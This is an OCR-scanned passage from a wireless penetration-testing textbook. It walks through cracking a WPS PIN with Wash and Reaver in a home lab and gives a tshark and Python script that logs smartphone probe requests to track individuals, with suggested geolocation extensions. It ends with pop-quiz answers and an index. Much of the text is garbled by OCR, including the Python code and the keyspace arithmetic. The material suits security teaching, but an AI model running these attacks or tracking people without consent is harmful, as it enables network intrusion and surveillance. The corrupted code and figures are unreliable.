The findings list should describe each vulnerability at a low level, explaining the methods 
to identify, and replicate, and vulnerabilities. 


Appendices should contain any extra information that would be too long to describe in 
a short description. This is where any screenshots, proof-of-concept code, or stolen data 
should be presented. 


Summary 


In this chapter, we discussed a methodology for performing a range of wireless tests and 
referred to the relevant chapters for each step. We also listed methods for reporting 
vulnerabilities and techniques for making technical data presentable. In the next and final 
chapter, we will cover new techniques developed since the initial publication of this book, 
WPS, and probe monitoring for surveillance. 
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"Nothing is new under the sun." 


Popular Saying 


This chapter incorporates the new techniques related to attacking WPS and 
probe monitoring and also covers the pineapple tool that makes much of 
wireless testing a lot easier. These attacks and tools have appeared since 
the publication of the original book, and we'll be making sure we're being 
as holistic as possible. 





Wireless Protected Setup (WPS) was introduced in 2006 to help users without wireless 
knowledge to have secure networks. The idea was that their Wi-Fi device would have a single 
hidden hardcoded value that would allow access with key memorization. New devices would 
be authenticated through a button press on the Wi-Fi router. Individuals outside the house 
without access to the device would not be able to have access, thus reducing the issues 
surrounding remembering WPA keys or setting short ones. 


In late 2011, a security vulnerability was disclosed enabling brute force attacks on the WPS 
authentication system. The traffic required to negotiate a WPS exchange was spoofable, 
and the WPS pin itself is only eight characters between 0-9. To start with, this provides 
only 100,000,000 possibilities in comparison with an eight character azAZO9 password 
having 218,340,105,584,896 combinations. 


WT —_—#!_—]—— Il 


WPS and Probes 
However, there are further vulnerabilities: 
@ Of the eight characters of the WPS pin, the last character is a checksum of the 
previous seven and therefore predictable, leaving a maximum of 10,000,000 options 
@ In addition, the first four and the following three of the remaining characters are 


checked separately, which means that there are 10* + 10° options or 11,000 


Through the two decisions made in the authentication mechanism, we have gone from 
100,000,000 possible combinations to 11,000. This equates to a six-hours difference when 
brute-forcing the algorithm. It is these decisions that make attacks against WPS viable. 


In the next lab exercise, we will go through identifying and attacking vulnerable WPS 
setups with Wash and Reaver. 





Time for action — WPS attack 


Follow the given instructions to get started: 


1. Before we attack a WPS-enabled access point, we need to create one. The 
TP-Link we use has this feature turned on by default, which is worrying but handy. 
To double-check this, we can log onto our router and click on WPS. It should look 
like the following: 


TP-LINK 


Status 


Quick Setup j WPS (Wi-Fi Protected Setup) 


Network : 
WPS Status: Enabled Disable WPS 
Wireless 


DHCP 
Current PIN: 88455808 _ Restore PIN Gen New PIN 


Disable PIN of this device 


Forwarding 
Security 


Parental Control 


i Access Control Add a new device: Add Device 


Pte Elite te Mateleiiiile! 
Flaten felt merel alice), 
IP & MAC Binding 
Dynamic DNS 


System Tools 





2. Nowwe've confirmed that it's ready. We need to set up our target. We need to set 
up our testing environment. We're going to use the Wash tool, and Wash requires a 
monitoring interface to function. As we have done many times before, we need to 
set up one with the following command: 


airmon-ng start wlan0 
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The output will be as follows: 


root@kali:~# airmon-ng start wlan@ 


Found 4 processes that could cause trouble. 
If alrodump-ng, aireplay-ng or airtun-ng stops working after 
a short period of time, you may want to kill {some of) them! 
-8 
PID Name 
2898 NetworkManager 
324? dhclient 
wpa supplicant 
dhclient 
Process with PID 5640 (dheLlient) is running on interface wlang 


Interface Chipset Driver 


wlantg Ralink RI#8/0/30/0 rtZeeG@usb - [phy] 
pry 
(monitor mode enabled on mon) 





We have a monitoring interface set up as monO, and we can call Wash with the 
following command: 


wash --ignore-fcs -i mon0o 


The ignore fcs option is due to an issue with an expected format for requests 
that wash causes: 


root@kali:~# wash --ignore-Tcs -1 mon 





Wash will display all the nearby devices that support WPS as well as whether they 
have WPS active or unlocked and what version is running: 


root@kali:~# wash --ignore-fcs -i mond 


Wash vl.4 WiFi Protected Setup Scan Tool 
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetso 


Channel 


E8:94:F6:627:1E:8E 
Wireless Lab 
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5. Wecansee the Wireless Lab network supports WPS. It uses Version 1 and it's 
not locked. Fantastic. We take note of the MAC address, which in my case is 
E8:94:F6:62:1E:8E, as this will be used to target our next tool: reaver. 


6. Reaver attempts to brute-force the WPS pin for a given MAC address. The syntax 
for starting this is as follows: 


reaver -i mon0O -b <mac> -vv 


The output will be as follows: 


‘—# reaver -1 monG -b E8:94:Fo:627:1E:8E -vv 


Reaver vl.4 WiFi Protected Setup Attack Tool 


Fa 


Copyright (c) 4011, Tactical Network Solutions, Craig Heffner <cheffner@tacnets 
ol 


L.com> 


Restore previous session for E8:94:F6:62:1E:8E? [n/¥] n 

Waiting for beacon Trom E8:94:F6:62:1E:8E 

Switching mon@ to channel 3 

Associated with E8:94:F6:67:1E:8E [ESSID: Wireless Lab) 

WARNING: AP rate Limiting, waiting 60 seconds before re-checking 





7. Once it is started, the tool runs through all the possible combinations for the WPS 
and attempts to authenticate. Once it does this, it will return the WPS code and the 
password, as shown in the following screenshot: 


Nothing done, nothing to save. 

1G0.00% complete @ 2014-12-15 22:47:47 (@ seconds/pin) 

ax time remaining at this.rate:— (undetermined), t0-pins Left to try) 
cracked in 25/6 seconds 

WPS PIN: ‘88455808' 

. PSK: '88455808' 

AP SSID: ‘Wireless Lab' 

Nothing done, nothing to save. 


+ 
+] 
+] 
+] 
+] | 
+] | 
+] 
+] 


[ 
[ 
[ 
[ 
[ 
[ 
[ 
[ 





8. With WPA-PSK in hand, we can authenticate normally now. | left my device 
with the default WPA-PSK that matches the WPS pin. If, however, you want 
to authenticate with the WPS pin, you can do this by specifying the pin in 
reaver with the following command: 


reaver -imon0O -b <mac> -vv -p 88404148 


Replace my pin with your own. 
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What just happened? 


We successfully identified a wireless network with a vulnerable instance of WPS active with 
Wash. We then used Reaver to recover the WPA key and the WPS pin. With this information, 
we could then authenticate with the network and continue a network penetration test. 





Have a go hero — rate limiting 


In the previous exercise, we attacked an entirely unprotected WPS installation. 
There are multiple methods that can be used to further secure installations without 
removing WPS altogether. 


Make an attempt to set the WPS pin to an arbitrary value and try again, to see whether 
Reaver is as effective at cracking it. 


Acquire a wireless router that allows you to rate-limit the WPS attempts. Try and configure 
your attack to avoid triggering lockouts. 


We have spoken about probes previously, and how they can be used to identify hidden 
networks and perform effective rogue access point attacks. They can also be used to 
identify individuals as targets or track them on a mass scale with minimal equipment. 


When a device wishes to connect to a network, it sends a probe request that contains its 
own MAC address and the name of the network it wishes to connect to. We can use tools 
such as airodump-ng to track these. However, if we wish to identify whether an individual 
was present at a specific location at a specific time or look for trends in Wi-Fi usage, we will 
need to use a different approach. 


In this section, we will utilize tshark and Python to collect data. You will receive the code 
and an explanation of what is being done. 


Time for action — collecting data 





Follow the given instructions to get started: 


1. First of all, we need a device that's looking for multiple networks. Generally, a 
normal smartphone such as an Android device or iPhone will do the trick. Desktops 
don't generally make good targets as they tend to remain in one location. Newer 
iPhones and Android devices may have probe requests disabled or obfuscated, 
so do check before you give up. 
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Ze 
2: 


4, 


Once you have your device, make sure the Wi-Fi is turned on. 


Then set up your monitoring interface as we have done many times before: 


lroot@kali:~# airmon-ng start wlan0 


[Found 4 processes that could cause trouble. 
If airodump-ng, aireplay-ng or airtun-ng stops working after 
ia short period of time, you may want to kill (some of) them! 


Name 
NetworkManager 
dhclient 
wpa_supplicant 
| dhclient 
Process with PID 5640 (dhclient) is running on interface wlan® 


‘Interface Oi ankel-i-he Driver 


Vaalalc) RaLink RIT2870/3070 rt2800usb - [phy9] 
| Gilelapmel an i(ele|-me-lal-|ehG-lemmelammilelalce) 





The next thing to be done is to look for probe requests with tshark via the 
following command: 


tshark -n -i mon0O subtype probereq 


The screenshot of the following command is as follows: 


root@kali:-# tshark -n -i mon@ subtype probereg 





Your output at this point is a little rough, as the default output from tshark is not 
designed to be readable, just to have as much information in it as possible. It should 
look like the following: 


root@kali:-# tshark -n -i mon® subtype probereq 
tshark: Lua: Error during Loading: 

[string "/usr/share/wireshark/init.Lua"]:46: dofile has been disabled due to r 
unning Wireshark as superuser. See http://wiki.wireshark .org/CaptureSetup/Captu 
rePrivileges for help in running Wireshark as an unprivileged user. 

Running as user "reot" and group "root". This could be dangerous. 
Capturing on ‘mon@' 


12, FN=@, Flags= , solD=Sono0s WmOyh9SPtcOEkqRKJSC1wQj PEN 
1.500069 G6:0e:586:4c:b6:4d -> ff:ff:ff:ff:ff:ff 882.11 140 Probe Request, & 
(=3938, FN=@, Flags= , solD=Sonos_ Wm0yhSSPtcOEkgRKISC1wQ] PEN 
2.000136 G60:0e:58:4c:b6:4d -> ff:ff:ff:ff:ff:ff 802.11 140 Probe Request, $ 
27, FN=@, Flags= , solD=Sonos WmOyhSSPtcOEkgRKJISC1wQj]PEN 
3.001043 GO:0e:58:4c:b6:4d -> ff:tt:ff: ff: ff: ff 882.11 1460 Probe Request, $ 
3978, FN=@, Flags= , solD=Sonos_ WmOyhSSPtcOEkgRKISC1wQ]PEN 
3.250189 G6:Ge:58:4c:b6:4d.-> FE: EE: Ef: fei tte ff 802,11 140 Probe Request, SN= 
#85, FN=0, Flags= , soalD=Ssonas WmOyhSSPtcOEKgRKISCIwQ] PEN 
4.500149 G6:0e:58:4c:be:4d\-= FEET tit iftitf B62.11 140 Probe Request, $ 
J=4019, FN=0, Flags= , solD=Sonos_ Wm0yhSSPtcOEkgRKISC1wQ] PEN 
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You can clearly see the MAC address and SSID of the probe request; however, 
this output can be improved. We can use the following command to make it 
more readable: 


tshark -n -i mon0O subtype probereq -T fields -e separator= -e 
wlan.sa -e wlan mgt.ssid 


The screenshot of the following command is as follows: 


'~# tshark -n -1 mon@ subtype probereg -7 fields -e separator= -e wlan 





-@ wlan mgt.ssid 


The output here is much more readable: 


4c:0T:6e:/0:bd:cb WireLess Lab 


4e:Of:6e:/0:bd:cb WireLess Lab 





So, now we have the output in a readable format, what next? What we do is create 
a Python script that will run the command and record the output for later analysis. 
Before running the code, you will need to ensure that you have your monitoring 
interface ready and that a file called results.txt is created in the directory you 
are in. The Python script is as follows: 


import subprocess 
import datetime 


results = open("results.txt", "a") 
while 1: 
blah = subprocess.check output(["tshark -n -1 monO subtype 


probereq -T fields -e separator= -e wlan.sa -e wlan _mgt.ssid -c 
100"], shell=True) 


splithlan = biah-splie.("\n") 

for value in splitblah[:-1]: 

splitvalue = value.split("\e") 

MAC = str(splitvalue[1] ) 

SSID = str(splitvalue [2] ) 

time = str(datetime.datetime.now() ) 
Results.write (MAC+" "4+SSID+" "4+time+"\r\n") 


Let's get briefed on the python script: 


ag import subprocess library and datetime library: This allow us to refer 
to the subprocess and datetime libraries. The subprocess library allows 
us to monitor the interface from the Linux command line, and datetime 
allows us to get the accurate time and date readings. 


a while 1: This line means run until stopped. 


1181] 


WPS and Probes 


QO 


results = open("results.txt", "a"): This opens a file with the 
append rights and assigns it to results. The append rights only allow the 
script to add to the contents of the file. This stops the file from constantly 
being overwritten. 


blah = subprocess.check output (["tshark -n -I mono 
subtype proberegq -T fields -e separator= -e wlan.sa -e 
wlan mgt.ssid -c 100"], shell=True): This opens a shell to perform 
our previously tested tshark command. The only difference this time is—c 
100. What this flag does is it limit the command to 100 queries. This allows us 
to return the results to ourselves without having to stop the program. Since 
we said run forever after writing the results, the script will restart again. 


This line takes the output from the shell and assigns it to the variable blah. 
splitblah = blah.split("\n"): This takes the variable blah and 
splits it by line. 

for value in splitblah[:-1]: This repeats the following action 

for each line in the output, ignoring the first line that contains headers. 


splitvalue = value.split("\t"): This breaks each line into 
further smaller chunks using the tab character as the delimiter. 


The following three lines take each chunk of text and assign it to a variable. 


MAC = str(splitvalue[1] ) 
SSsibD: = strteplitvalue (2) 
time = str(datetime.datetime.now() ) 


results.write (MAC+" "4SSID+" "4+time+"\r\n"): This takes all 
the values, writes them to a file separated by spaces, and ends with a 
return and a new line for neatness. 


The output will be neat lines of text written to the file. 


What just happened? 


We took the input from probe requests and output them to a file using Python. 


You may ask yourself what the purpose of this is. This can be achieved by simply performing 
the original tshark command and adding a >> results.txt command to the end. 

You would be correct; however, what we have created is a framework for integration 

with other tools, visualization platforms, databases, and services. 


For example, using the WiGLE database that maps SSIDs to locations, you can add a few 
lines of code to take the SSID variable and query the WIGLE database. 
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Alternatively, you could set up a MySQL database and output the results there to perform 
the SQL commands on it. 


This section has provided you with the first steps to create your own probe-monitoring tools. 
Through experimentation and using this simple code as the first step, a multitude of useful 
tools can be created. 


Research which tools are available that allow visualization or data analytics and are easily 
integrated with Python. Tools such as Maltego have free versions that can be used to 
plot information. 


Set yourself up a MySQL database to record the data and reconfigure the preceding Python 
script to output the results to the database. Then, build another script (or do it in the same 
one) to retrieve the data and output it to Maltego. 


Reconfigure the script to query WIGLE, and collect geolocation data for probe requests. 
Output this data through Maltego. 


Make an attempt to set up a web-based frontend through Flask, Django, or PHP to 
display your results. Investigate currently existing solutions for presenting the data 
and attempting to emulate or improve them through a discussion with their creators. 


Summary 


In this chapter, we discussed the attacks against WPS that have come about since the release 
of the original book and also performed an initial foray into integrating wireless tools with 
Python. Alas, we have come to end of the book, | hope it's been informative and interesting. 
See you in another seven years for the third edition. 
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Chapter 1, Wireless Lab Setup 


Pop quiz— understanding the basics 


Run the command ifconfig wlanO. In the output, you 
should see a flag "UP", this indicates that the card is 
functional. 

You will only need a hard drive if you would like to store 
anything across reboots like configuration settings or 
Scripts. 


It shows the ARP table on the local machine. 


Chapter 2, WLAN and its Inherent Insecurities 





Pop quiz— understanding the basics 
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Pop Quiz Answers 


Chapter 3, Bypassing WLAN Authentication 


Pop quiz— WLAN authentication 





Chapter 4, WLAN Encryption Flaws 


Pop quiz—WLAN encryption flaws 





Chapter 5, Attacks on the WLAN Infrastructure 
Pop quiz — attacks on the WLAN infrastructure 





Chapter 6, Attacking the Client 
Pop quiz - Attacking the Client 
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Appendix 


Chapter 7, Advanced WLAN Attacks 
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access point 
configuring 5-7 
configuring, to use WEP 8 
configuring, to use WPA 8 
connecting to 9 
connecting to, wireless card used 9-11 
default accounts, cracking on 91-93 


setting up 5 
tables, filling 54 
accounts 


cracking, Brute-force attacks used 93 
adapter 29-31 
aircrack-NG suite 
URL 44 
airodump-NG utility 
URL 47 
AP 
setting up, FreeRADIUS-WPE (Wireless Pwnage 
Edition) used 158-161 
AP-less WPA cracking 134 
AP-less WPA-Personal cracking 132, 133 
application hijacking 
challenge 151 


B 


Brute-force attacks 
used, for cracking accounts 93 





C 


Caffe Latte attack 
about 123 
conducting 124-127 
client 
baiting 154 
deauthenticating 128-130 
deauthentication attack 152-154 
security configurations, finding 151 
control frames 
about 15 
viewing 22-25 
Cowpatty 
used, for cracking WPA-PSK 81 


D 


data 
collecting 179-182 
data frames 
about 15 
viewing 22-25 
data packets 
analyzing 28 
injecting 28 
sniffing, for network 26, 27 
deauthentication attack 
about 127 
on client 152-154 
default accounts 
cracking, on access points 91, 92 
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Denial of Service (DoS) attacks 
about 54,94 
deauthentication attack 94-99 
disassociation attack 100 
disassociation attack 
about 127 
on client 130 
discovery phase, wireless penetration 
testing 170,171 


E 


EAP-TTLS 166 
Enterprises 
security, best practices 166 
Ettercap 151 
evil twin 
about 100 
and access point MAC spoofing 100 
and channel hopping 107 
and MAC spoofing 101-106 


F 


filters 
working with 26 
FreeRADIUS-WPE (Wireless Pwnage Edition) 
RADIUS, working with 161 
setting up 157 
URL 158 
used, for setting up AP 158-161 


H 


hacker 

tasks 118 
Hirte attack 

URL 131 

WEP, cracking with 131, 132 
Honeypot attacks 118-123 
Hydra 93 


K 


Kali 
installing 3-5 
installing, on VirtualBox 5, 29 
URL 2 


M 


MAC filters 

about 44 

instructions 44-47 
management frames 

about 15 

viewing 22-25 
man-in-the-middle attack (MITM) 

about 138-142 

over pure wireless 142 

used, for Wireless Eavesdropping 142-147 
Message Integrity Check (MIC) 74 
Mis-Association attack 

orchestrating 118-123 
monitor mode interface 

creating 16-18 

multiple monitor mode interfaces, creating 19 
MSCHAP-v2 166 


O 


Open Authentication 
about 47 
bypassing 47, 48 


Pp 


Pairwise Master Key (PMK) 82 
Pairwise Transient Key (PTK) 73 
Password-Based Key Derivation 
Function (PBKDF2) 73 
PEAP (Protected Extensible 
Authentication Protocol) 
attacking 161, 162 
attack, variations 166 
cracking 162-166 
EAP-TTLS 166 
versions 161 
planning phase, wireless penetration 
testing 170 
Preferred Network List (PNL) 118 
Pre-Shared key (PSK) 72 
probe 
data, collecting 179-183 
rate, limiting 183 
sniffing 179 
promiscous mode 15 
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Radio Frequency (RF) 7 
RADIUS 
receiving 16/7 
regulatory domains 
adapter, experimenting with 31-34 
exploring 35 
role 31 
reporting phase, wireless penetration 
testing 172 
rogue access point 
about 107 
challenge 115 
WEP, cracking 108-115 


S 


session hijacking 
over wireless 147-151 
Shared Key Authentication 
about 48, 49 
bypassing 49-54 
SSIDs 
deauthentication, selecting 44 
hidden SSIDs, uncovering 38-43 


V 


VirtualBox 
Kali, installing on 5 


W 


WEP (Wired Equivalent Privacy) 
cracking 59-72, 108-115 
cracking, with fake authentication 72 
cracking, with Hirte attack 131, 132 
protocol 58 

WEP configuration 
connection 11 

WEP network 
connecting to 87, 88 

WEP packets 
decrypting 84-87 

Wi-Fi Protected Access (WPA) 
about 72 


network, connecting to 87-90 
packets, decrypting 84-87 
Wi-Fi Protection Access v2 (WPAv2) 58 
WiFishing 154 
wireless card 
configuring 8, 9 
setting up 8 
used, for access point connection 9-11 
Wireless Eavesdropping 
MITM used 142-147 
wireless lab 
hardware, requisites 2 
software, requisites 2 
wireless packets 
sniffing 19-21 
wireless penetration testing 
about 169 
attacking phase 171, 172 
discovery phase 170, 171 
planning phase 170 
reporting phase 172 
wireless penetration testing, attacking phase 
clients, compromising 172 
encryption, cracking 171 
infrastructure, cracking 172 
Wireshark traces 22 
WLAN 
access points 91 
attacks 154 
authentication 54 
encryption, flaws 90 
encryption 58 
WLAN frames 
about 14 
control frames 15 
data frames 15 
management frames 15 
WLAN Packet Sniffing 
and Injection 35 
WLAN Sniffing 29 
WPA2 72 
WPA-Enterprise 
receiving 167 
WPA-PSK 
cracking, Cowpatty used 81 
weak passphrase, cracking 75-80 
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WPA/WPAZ2 PSK 
cracking, soeeding up 81-84 
WPS (Wireless Protected Setup) 
attacks 175-178 
rate, limiting 179 
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